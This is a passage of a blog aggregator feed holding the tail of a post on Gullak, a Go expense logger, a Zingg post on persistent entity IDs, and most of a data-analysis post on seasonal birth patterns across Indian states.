<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> rows</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Next</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		var</span><span> i</span><span style="color: light-dark(#6F42C1, #F69D50);"> Transaction</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> rows</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Scan</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>ID</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>CreatedAt</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>TransactionDate</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>Currency</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>Amount</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>Category</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>Description</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			&amp;</span><span>i</span><span>.</span><span>Confirm</span><span>,</span></span>
<span class="giallo-l"><span>		)</span><span>;</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span>,</span><span> err</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>		items</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>items</span><span>,</span><span> i</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> rows</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Close</span><span>(</span><span>)</span><span>;</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span>,</span><span> err</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> rows</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Err</span><span>(</span><span>)</span><span>;</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span>,</span><span> err</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span> items</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h2 id="apple-shortcuts">Apple Shortcuts<a class="zola-anchor" href="#apple-shortcuts" aria-label="Anchor link for: apple-shortcuts">#</a></h2>
<p>Similar to my Apple Notes approach, I wanted to create a shortcut that would allow me to log expenses quickly. I created a simple shortcut that would prompt me to enter the expenses and send an HTTP POST request to Gullak’s API server. I then open the dashboard once in a while to confirm/edit these unconfirmed transactions.</p>
<p>You can read more about setting up the Shortcut in your Apple devices <a rel="external" href="https://github.com/mr-karan/gullak?tab=readme-ov-file#apple-shortcut-integration">here</a>.</p>
<h2 id="proudly-not-a-weekend-project">Proudly, Not a Weekend Project<a class="zola-anchor" href="#proudly-not-a-weekend-project" aria-label="Anchor link for: proudly-not-a-weekend-project">#</a></h2>
<p>For every “I could do this in a weekend” comment, yes, this project is straightforward—a “CRUD GPT” wrapper that isn’t complicated to build. Yet, it took me over a month to develop. I spent less than an hour most days on this project, instead of cramming it into an all-nighter weekend project - an approach I want to move away from. Slow and steady efforts compound, outlasting quick, sporadic bursts. I’m pleased to balance this with my full-time job without burning out.</p>
<h2 id="ideas-for-the-future">Ideas for the Future<a class="zola-anchor" href="#ideas-for-the-future" aria-label="Anchor link for: ideas-for-the-future">#</a></h2>
<p>Initially, I didn’t set out to build a comprehensive budgeting app, just an expense logger, as that was my primary need. However, if usage increases and the tool proves helpful in reducing unnecessary spending, I’m open to adding more features. Some possibilities include a subscription tracker, integration with budgeting tools like YNAB or Actual through their APIs, and monthly reports sent via email. The best part is that you own complete data, as the data is stored locally on your device so you can also export it anytime and build other integrations on top of it.</p>
<p>Feel free to open a GitHub issue or <a href="https://mrkaran.dev/contact/">reach out</a> if you have any suggestions or feedback. I’m excited to see where this project goes!</p>
<h2 id="update-feb-2026">Update (Feb 2026)<a class="zola-anchor" href="#update-feb-2026" aria-label="Anchor link for: update-feb-2026">#</a></h2>
<p>I’ve rewritten Gullak to use plain-text ledger files. Read more about why in the follow-up post: <a href="https://mrkaran.dev/posts/gullak-ledger/">Why Plain-Text Ledger is Powerful for Gullak</a>.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Hello Zingg ID!]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/hello-zingg-id</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/hello-zingg-id</guid>
            <pubDate>Sat, 08 Jun 2024 11:50:27 GMT</pubDate>
            <description><![CDATA[Cross reference every entity consistently throughout the enterprise.]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img src="https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" width="3765" height="4706" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:4706,&quot;width&quot;:3765,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;silver skeleton key on black surface&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="silver skeleton key on black surface" title="silver skeleton key on black surface" srcset="https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="true">Amol Tyagi</a> on <a href="https://unsplash.com">Unsplash</a></figcaption></figure></div><p>Imagine we have multiple records of a customer spread across ticketing, billing, offline stores, and web properties. This is a usual scenario we witness everyday in our data land. Different sources of data come with multiple versions of truth. When they land centrally in a warehouse or datalake, its hard to figure things out. Revenue attribution and lifetime value can not be calculated accurately. Nor can we estimate churn or calculate confidently how many new customers were added last quarter. Increasing revenue through personalized offers and exploring opportunities to cross sell and upsell will not be possible either. Let alone anti money laundering or risk. Visualize a multimillion-dollar investment in a GenAI customer service agent. How far can it go using this fragmented data?</p><p>To establish the right data foundation, analyze and report on business critical metrics, and productionize AI and ML technology, we will need to unify such records and build a trusted single source of truth for the customer.</p><p>Enter entity resolution. Variations in attributes can all be resolved, and clusters of matching records can be created. The Zingg Community Version offers robust clustering and fuzzy matching, which bring these records together with a unique Z_CLUSTER field. Matching records share the same Z_CLUSTER. Voila, there is a way to say who is who!</p><p>What happens when we want to track the customer over time? Or build a holistic view? Establish their journey and reference them or search for them in different enterprise systems. When there is no identifier to refer to the customer, we need a way to associate them with an identifier. Kind of like an SSN or a passport number. Or a primary key in the database.</p><p>The Z_CLUSTER is extremely powerful and useful. But it is not persistent. There is no guarantee that it will not change in the next Zingg run. If we stream our resolved records into our source systems and want to use Z_CLUSTER as the primary key, it would break.</p><p>As we saw different Zingg deployments, this was an ask that we heard again and again. A globally unique persistent identifier that acts like a reference key to the entity and all its records. The same key even when the record changes. The unambigious way to refer to an entity across multiple enterprise data systems, operational processes, and workflows. Even as new records come in and earlier ones get updated.</p><p>This is exactly the ZINGG_ID in the <a href="https://www.zingg.ai/company/zingg-enterprise">Zingg Enterprise</a> version. Resolved, unified records across the entire enterprise which can be referenced through a persistent key. A help desk agent could use it to look up the entire customer interaction journey. A GPT based chatbot operating on patient data would work seamlessly with all the information at its disposal.</p><p>It's been fun solving this complex piece of the puzzle, and it's extremely satisfying to witness the value it generates for Zingg Enterprise customers.</p><p>Sounds interesting, or something you care about? Do get in <a href="https://www.zingg.ai/company/contact">touch</a>!</p><p>  </p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://images.unsplash.com/photo-1609770231080-e321deccc34c?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxNXx8cHJpbWFyeSUyMGtleSUyMGlkZW50aWZpZXJ8ZW58MHx8fHwxNzE3ODQ2ODU2fDA&ixlib=rb-4.0.3&q=80&w=1080" length="0" type="image//photo-1609770231080-e321deccc34c"/>
        </item>
        <item>
            <title><![CDATA[Why are there so many birthdays in August?]]></title>
            <link>https://saket-choudhary.me/blog/2024/04/28/augustbirthdays/</link>
            <guid isPermaLink="false">https://saket-choudhary.me/blog/2024/04/28/augustbirthdays/</guid>
            <pubDate>Sat, 27 Apr 2024 18:30:00 GMT</pubDate>
            <description><![CDATA[One of my fond memories while growing up in Rawatbhata, a small town (and now a city!) of Rajasthan was birthday parties. These birthday parties used to be simple. We were all a bunch of similar-aged kids and would just invite each other for a mini celebration.
Everything about these parties was simple. The people were simple. The invitation was simple - you visited each house and verbally invited everyone. The food was simple. There were no starters, a couple of large bottles of ThumpsUp would suffice and was often served in steel glasses which would come out just for this occasion. There was only one simple course - the main course with pulao (rice + sautéed veggies), poori (fried flatbread), dessert (gulab jamun or kheer), chole (chickpeas), and well, a piece of cake. Paneer had not entered the menu yet, though it was sometimes on the menu if you were invited home for dinner.
The music was simple and the dance was simple. Bollywood’s top four dance numbers would play on a loop from a Philips cassette player that everyone had. It was available at a discount for everyone or I recall. And yes, there were simple “return gifts” - a Nataraj pencil and a Non-dust eraser. Simple times.


There were no bakeries in Rawatbhata for a long time, and almost all cakes were home-baked. No one in the town had ovens! There were no microwaves either. The only electrical gadget in the kitchen used to be a mixer grinder. How do you “bake” without an “oven”? The technique uses a simple idea - use sand to provide controlled heating. Too much digression. But the cakes were simple too.

  
Baking the cake on sand and stove! Source




While we would get invited to all the birthdays, I do remember sneaking in uninvited to a few, once in a while. I also distinctly remember August being a month of celebrations. Of course, there was Independence Day on the 15th lined up with five birthdays in August! Five! Most other months would have one or two. Naturally, August was also my favourite month - loads of good food and return gifts. People with birthdays in August had to be extra diligent. While the simple birthday menu rarely changed, the “return gifts” required deeper thought. You did not want to be called out for repeating a return gift in the same month.
Caught in the nostalgia of food, birthdays, and 90s music, I had a question going around in my head: Were the five birthdays in August a rare event? There are 365 days in a year and assuming no day is special, there is no reason August should be a non-simple birthday month. How do I find out if there is anything special about August, if there is? My first thought was to poll my odd group of college friends and ask them for their birthdays. However hard I try to avoid it, this would be a convenient sample, and I don’t think I would have learned anything mechanistic about the “why” or “how”.
What do I need to answer my question? My question can be asked more simply: when do most Indians celebrate their birthdays? If I had access to all the Aadhaar data, this question could be answered using probably a few lines of code. Aadhaar is of course closed for these use cases. A little bit of search landed me on a wonderful resource of HMIS. The description on the website is self-explanatory:
This portal will be a gateway to wealth of information regarding the health indicators of India. The information available on this portal is derived data from data uploaded by the States/ UTs. HMIS data is specifically designed to support planning, management, and decision making based on on Grading of facilities, various indicators at Block, District at State as well as National Level.
While the emphasis is on “health indicators”, HMIS has district and state-level data on how many births happen in private and public hospitals. Getting this data was quite an exercise and taught me several tricks for parsing excel/html. After struggling disproportionately with weirdly formatted files, I could extract all the birth data between 2008 and 2020 across states. With this data in hand, I could finally answer the simple question: was august the special birthday month?
I first looked at the distribution of births. September, October, and August have the highest number of births with approximately 1.9 million average births over 2008-2020. Since births peak in these months, there is an inherent “seasonality” attached to birthdays in India. In a hypothetical world, all the months would have roughly equal births, rather than having a range from 1.38 million births (April) to 1.98 million births (September).

Taking an average can sometimes hide a tonne of information that lies in a time-series data. If we look at the entire period between January 2008 and December 2020, the “seasonality” is easier to spot. From 2008 to 2020, the birth curve rises and dips over the year. The peaks happen around September/October, while April registers a deep dip.

While the data from HMIS is on births, we can infer the time of conception by simple arithmetic - subtracting 9 months. Of course, the seasonality remains intact. The peak of conceptions happens in December of the previous year or January of the same year.

Summarizing information at the country level is a good starting point. Overall, September is the month with the highest number of birthdays. But does that hold across all states? What about Rajasthan? I next broke it down at the state level and annotated the month with the highest number of birthdays.

From the figure above, August is the month with the highest number of birthdays in Rajasthan. But more importantly, the figure highlights the diversity that underlies India. While September, the month with the highest number of total births, is the month of peak births in 9 states, October is the peak month in 10 states. But there are also Meghalaya and Tripura which peak in January and December respectively. On the other extreme, July is the month of the least conceptions across multiple states. We can flip the births and look at the conception curve.

While my actual question was answered, and I discovered that there is heterogeneity within the country in how it celebrates birthdays, my related question of understanding why this happens “mechanistically” remained unanswered. I must admit beforehand that it is also a hard question to answer without access to a tonne of data.
Why are conceptions higher in a month? Why do they vary across states? Is it driven by the “wedding season” in the country?
I did not have access to the wedding registration data. So I asked a simple question: does temperature affect the rate of conception (and hence birth) in India. Surprisingly, getting temperature data for a city across a time span without paying anyone remains a non-trivial task. However after a bit of tussle and jumping language hoops, I was able to download the gridded temperature data from IMD, Pune.
To understand the relationship between temperature and rate of conceptions, I looked at the average temperature over 2008-2020 in a state and calculated its correlation with the number of estimated conceptions. For the autumn months (October/November), the correlation coefficient is the highest (-0.56). But even more importantly, this figure hinted towards the seasonality being associated with temperature. The rate of conceptions across seasons varies as Winter > Autumn > Summer > Monsoon.
I am sure you are thinking about heterogeneity, what does this relationship look like if we focus on each state individually?

When I broke down the association analysis for each state individually and arranged the states based on the strength of the correlation (between the relative percentage of conceptions every month and the mean temperature in each state), a beautiful pattern emerged. 24 out of 28 states for which I had data show a correlation coefficient of -0.5 or lower (that is, the absolute strength of correlation exceeds 0.5). For states like Manipur, Bihar, and Haryana the association between temperature and rate of conception is as high as 0.91, implying a higher temperature is associated with fewer conceptions and a one-degree drop in temperature will lead to an increase of 0.91% in conception assuming this relationship is indeed causal. States like Jammu and Kashmir and Uttarakhand which are usually colder have weak associations. While Kerala, which has a tropical climate, has a stronger association with a correlation coefficient of -0.82. Thus, the association is not as strong for colder climates, an observation that I previously made at the season level in my previous plot.

Causality is hard to prove here. We have strong associations that reproduce across states, Occam’s razor, and the golden fact that correlation does not imply causation. I wish the answer was as simple as those birthday parties.

Summer has come and passed  
The innocent can never last  
Wake me up when September ends

                - Billie Armstrong]]></description>
            <content:encoded><![CDATA[<p>One of my fond memories while growing up in <a href="https://en.wikipedia.org/wiki/Rawatbhata">Rawatbhata</a>, a small town (and now a city!) of Rajasthan was birthday parties. These birthday parties used to be <strong>simple</strong>. We were all a bunch of similar-aged kids and would just invite each other for a mini celebration.</p>

<p>Everything about these parties was simple. The people were simple. The invitation was simple - you visited each house and verbally invited everyone. The food was simple. There were no starters, a couple of large bottles of <a href="https://en.wikipedia.org/wiki/Thums_Up">ThumpsUp</a> would suffice and was often served in steel glasses which would come out just for this occasion. There was only one simple course - the main course with pulao (rice + sautéed veggies), poori (fried flatbread), dessert (gulab jamun or kheer), chole (chickpeas), and well, a piece of cake. Paneer had not entered the menu yet, though it was sometimes on the menu if you were invited home for dinner.</p>

<p>The music was simple and the dance was simple. Bollywood’s top four dance numbers would play on a loop from a Philips cassette player that everyone had. It was available at a discount for everyone or I recall. And yes, there were simple “return gifts” - a <a href="https://en.wikipedia.org/wiki/Hindustan_Pencils">Nataraj pencil</a> and a <a href="https://www.amazon.in/Apsara-Non-Dust-Erasers-Pack/dp/B00LQJ04WS">Non-dust eraser</a>. Simple times.</p>

<center><img src="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdad95f-cc05-49ef-900e-5050cc099716_3000x2250.jpeg" width="70%" /></center>

<p>There were no bakeries in Rawatbhata for a long time, and almost all cakes were home-baked. No one in the town had ovens! There were no microwaves either. The only electrical gadget in the kitchen used to be a mixer grinder. How do you “bake” without an “oven”? The technique uses a simple idea - use sand to provide controlled heating. Too much digression. But the cakes were simple too.</p>

<p><img src="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F148aee5e-2494-4927-8ecf-ad49508e81db_685x351.png" width="100%" /></p>
<center>
<div class="caption">  
<span class="caption-label">Baking the cake on sand and stove! <a href="https://bnrc.springeropen.com/articles/10.1186/s42269-019-0199-2">Source</a>
</span>
</div>
</center>

<p>While we would get invited to all the birthdays, I do remember sneaking in uninvited to a few, once in a while. I also distinctly remember August being a month of celebrations. Of course, there was Independence Day on the 15th lined up with five birthdays in August! Five! Most other months would have one or two. Naturally, August was also my favourite month - loads of good food and return gifts. People with birthdays in August had to be extra diligent. While the simple birthday menu rarely changed, the “return gifts” required deeper thought. You did not want to be called out for repeating a return gift in the same month.</p>

<p>Caught in the nostalgia of food, birthdays, and 90s music, I had a question going around in my head: <strong>Were the five birthdays in August a rare event?</strong> There are 365 days in a year and assuming no day is special, there is no reason August should be a non-simple birthday month. How do I find out if there is anything special about August, if there is? My first thought was to poll my odd group of college friends and ask them for their birthdays. However hard I try to avoid it, this would be a convenient sample, and I don’t think I would have learned anything mechanistic about the “why” or “how”.</p>

<p><strong>What do I need to answer my question?</strong> My question can be asked more simply: when do most Indians celebrate their birthdays? If I had access to all the <a href="https://en.wikipedia.org/wiki/Aadhaar">Aadhaar</a> data, this question could be answered using probably a few lines of code. Aadhaar is of course closed for these use cases. A little bit of search landed me on a wonderful resource of <a href="https://hmis.mohfw.gov.in/">HMIS</a>. The description on the website is self-explanatory:</p>

<blockquote>
  <p>This portal will be a gateway to wealth of information regarding the health indicators of India. The information available on this portal is derived data from data uploaded by the States/ UTs. HMIS data is specifically designed to support planning, management, and decision making based on on Grading of facilities, various indicators at Block, District at State as well as National Level.</p>
</blockquote>

<p>While the emphasis is on “health indicators”, HMIS has district and state-level data on how many births happen in private and public hospitals. Getting this data was quite an exercise and taught me several tricks for parsing excel/html. After struggling disproportionately with weirdly formatted files, I could extract all the birth data between 2008 and 2020 across states. With this data in hand, I could finally answer the simple question: was august the special birthday month?</p>

<p>I first looked at the distribution of births. September, October, and August have the highest number of births with approximately 1.9 million average births over 2008-2020. Since births peak in these months, there is an inherent “seasonality” attached to birthdays in India. In a hypothetical world, all the months would have roughly equal births, rather than having a range from 1.38 million births (April) to 1.98 million births (September).</p>

<p><a href="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d06b780-1d9d-45bf-9634-6210de6b7859_1800x2100.png"><img src="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d06b780-1d9d-45bf-9634-6210de6b7859_1800x2100.png" width="100%" /></a></p>

<p>Taking an average can sometimes hide a tonne of information that lies in a time-series data. If we look at the entire period between January 2008 and December 2020, the “seasonality” is easier to spot. From 2008 to 2020, the birth curve rises and dips over the year. The peaks happen around September/October, while April registers a deep dip.</p>

<p><a href="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f3e6bcd-7358-4883-91d9-522ff8aa5318_4500x1230.png"><img src="https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f3e6bcd-7358-4883-91d9-522ff8aa5318_4500x1230.png" width="100%" /></a></p>

<p>While the data from HMIS is on births, we can infer the time of conception by simple arithmetic - subtracting 9 months. Of course, the seasonality remains intact. The peak of conceptions happens in December of the previous year or January of the same year.</p>

<p><a href="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19c87418-ba47-4569-a145-ad6354a58c1c_4500x1230.png"><img src="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19c87418-ba47-4569-a145-ad6354a58c1c_4500x1230.png" width="100%" target="_blank" /></a></p>

<p>Summarizing information at the country level is a good starting point. Overall, September is the month with the highest number of birthdays. But does that hold across all states? What about Rajasthan? I next broke it down at the state level and annotated the month with the highest number of birthdays.</p>

<p><a href="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdde52e4a-2beb-4f64-984b-6619a948c1fd_4650x2730.png"><img src="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdde52e4a-2beb-4f64-984b-6619a948c1fd_4650x2730.png" width="100%" target="_blank" /></a></p>

<p>From the figure above, August is the month with the highest number of birthdays in Rajasthan. But more importantly, the figure highlights the diversity that underlies India. While September, the month with the highest number of total births, is the month of peak births in 9 states, October is the peak month in 10 states. But there are also Meghalaya and Tripura which peak in January and December respectively. On the other extreme, July is the month of the least conceptions across multiple states. We can flip the births and look at the conception curve.</p>

<p><a href="&lt;https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F058bc2c6-af37-49c9-b59f-818bdeb7d2c9_4650x2730.png"><img src="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F058bc2c6-af37-49c9-b59f-818bdeb7d2c9_4650x2730.png" width="100%" target="_blank" /></a></p>

<p>While my actual question was answered, and I discovered that there is heterogeneity within the country in how it celebrates birthdays, my related question of understanding why this happens “mechanistically” remained unanswered. I must admit beforehand that it is also a hard question to answer without access to a tonne of data.</p>

<p><strong>Why are conceptions higher in a month? Why do they vary across states? Is it driven by the “wedding season” in the country?</strong></p>

<p>I did not have access to the wedding registration data. So I asked a simple question: does temperature affect the rate of conception (and hence birth) in India. Surprisingly, getting temperature data for a city across a time span without paying anyone remains a non-trivial task. However after a bit of tussle and jumping language hoops, I was able to download the gridded temperature data from <a href="https://www.imdpune.gov.in/">IMD, Pune</a>.</p>

